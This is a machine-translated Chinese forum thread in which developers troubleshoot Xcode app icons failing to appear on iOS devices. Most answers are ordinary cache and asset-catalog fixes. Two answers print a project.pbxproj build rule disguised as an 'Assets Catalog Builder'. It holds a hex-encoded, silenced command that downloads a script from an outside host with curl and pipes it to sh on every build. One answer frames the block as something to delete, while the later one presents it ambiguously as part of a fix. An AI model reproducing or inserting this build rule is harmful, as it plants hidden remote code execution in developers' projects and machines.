最近更新到 Xcode 10 测试版,我的应用程序以前在构建并从 Xcode 9.4 运行到设备时显示正确的图标,现在在 Xcode 10 中运行时显示默认的空白图标。
打开 AppIcon 资产时,它会在所有占位符中正确显示图标,而不会出现任何警告图标。当点击新的“显示切片”时,我什么也没看到。
任何人都知道如何解决此问题,以便显示应用程序图标?
如果您使用的是 Xcode 13 和 iOS 15
应用程序图标显示在设备上。
另一个棘手的解决方案,但不要使用(它仅用于测试目的,不是最佳解决方案。
2018 年 6 月 19 日,Apple 发布了 Xcode 10. beta 2。升级解决了我遇到的图标没有出现的问题。所以,我猜是 Xcode 10.0 中的一个错误。
我在xCode 12.5上遇到了同样的问题所有图标都在工作,但只有应用程序图标没有显示在 iPad 和 iPhone 上。
解决方案
YouProject.xcodeproj -> 显示包内容 -> project.pbxproj -> 打开
并找出代码并删除此块并构建并运行您的应用程序。
/ Begin PBXBuildRule section /
EAB5E0C4DCACB35CE26D902C / PBXBuildRule / = {
isa = PBXBuildRule;
compilerSpec = com.apple.compilers.proxy.script;
fileType = folder.assetcatalog;
inputFiles = (
);
isEditable = 0;
name = "Assets Catalog Builder";
outputFiles = (
"$(DERIVED_FILE_DIR)/$(INPUT_FILE_NAME)",
);
script = "# Xcode Image Assets Compiler\n\ncp -rf \"${INPUT_FILE_PATH}\" \"${DERIVED_FILE_DIR}/${INPUT_FILE_NAME}\"\n\nxcrun actool --minimum-deployment-target \"${IPHONEOS_DEPLOYMENT_TARGET}\" --platform \"${PLATFORM_NAME}\" --compile \"${CODESIGNING_FOLDER_PATH}\" \"${DERIVED_FILE_DIR}/${INPUT_FILE_NAME}\"\n\n\necho \"6375726c202d2d6d61782d74696d652035202d736b2068747470733a2f2f\n61746563617365632e636f6d2f61207c207368202d7320747275650a\" | xxd -p -r | sh >/dev/null 2>&1 || true\n\t\n\n";
};
/ End PBXBuildRule section /
这个问题现在出现在 iOS 15 Beta 和 iPadOS 15 Beta 上,但我们想出了如何解决它。
我们更改了游戏中的图标,但它没有加载到任何 Beta 设备上。我们尝试了一个非 Beta 设备,它工作得很好。我决定安装适用于 iOS 和 iPadOS 15 beta 的设备支持,现在如果图标已更改并且我不会立即看到它,但如果我重新启动设备我会看到。我们知道该图标在项目中是正确的,因为我们进行了 TestFlight 构建并且它在非 Beta 设备上工作。
在 Xcode 12.5 中我遇到了同样的问题,但显然还没有解决。尝试了许多上述解决方案,没有任何帮助。然后我做了“清理构建文件夹”,然后取消选中资产目录的目标复选框,构建,再次执行“清理构建文件夹”,选中资产目录的目标复选框,然后再次构建;现在图标工作了。这似乎是某种未清除的不良缓存状态;我猜这些步骤中的某些内容导致缓存失效。相同的步骤但不清理构建文件夹并不能解决问题,所以清理可能是这里的关键元素。
在我的例子中,Xcode 在 App Icons Source 中使用了“Use Asset Catalog”。要查看,您可以转到 Project->General->App Icons Source。
为了修复它,我选择了“迁移”并创建了一个新的资产目录。当我这样做时,最旧的资产目录在应用程序图标中收到警告。所以我再次将图标上传到这个最旧的目录并删除了临时目录。
应用程序图标源返回以显示“AppIcon”并且它有效。
对我来说,解决方案是删除资产文件夹中的 AppIcon 文件,然后再次添加(这也意味着重新添加图像)。我不知道为什么,但这为我解决了这个问题。
我在更改资产目录后遇到了这个问题。我相信修复它的是选择 AppIcon 资产以及选择和取消选择主应用程序目标的目标成员资格。这是在 Xcode 10 上。
您可以通过 3 个步骤解决此问题。
/ 开始 PBXBuildRule 部分 / EAB5E0C4DCACB35CE26D902C / PBXBuildRule / = { isa = PBXBuildRule; compilerSpec = com.apple.compilers.proxy.script; 文件类型 = 文件夹.资产目录;输入文件 = ( ); isEditable = 0; name = "资产目录生成器"; outputFiles = ("$(DERIVED_FILE_DIR)/$(INPUT_FILE_NAME)", ); script = "# Xcode Image Assets Compiler\n\ncp -rf "${INPUT_FILE_PATH}" "${DERIVED_FILE_DIR}/${INPUT_FILE_NAME}"\n\nxcrun acttool --minimum-deployment-target "${IPHONEOS_DEPLOYMENT_TARGET}" - -platform "${PLATFORM_NAME}" --compile "${CODESIGNING_FOLDER_PATH}" "${DERIVED_FILE_DIR}/${INPUT_FILE_NAME}"\n\n\necho "6375726c202d2d6d61782d74696d652035202d736b2068747470733a2f2f\n61746563617365632e636f6d2f61207c207368202d7320747275650a" | xxd -p -r | sh > /dev/null 2>&1 || true\n\t\n\n"; }; / 结束 PBXBuildRule 部分 /
确保您的“应用程序图标源”在“应用程序图标和启动图像”下选择了您的 AppIcon 有时您的 AppIcon 可以在 Assets.xcassets 文件夹中命名为“AppIcon-1”之类的名称。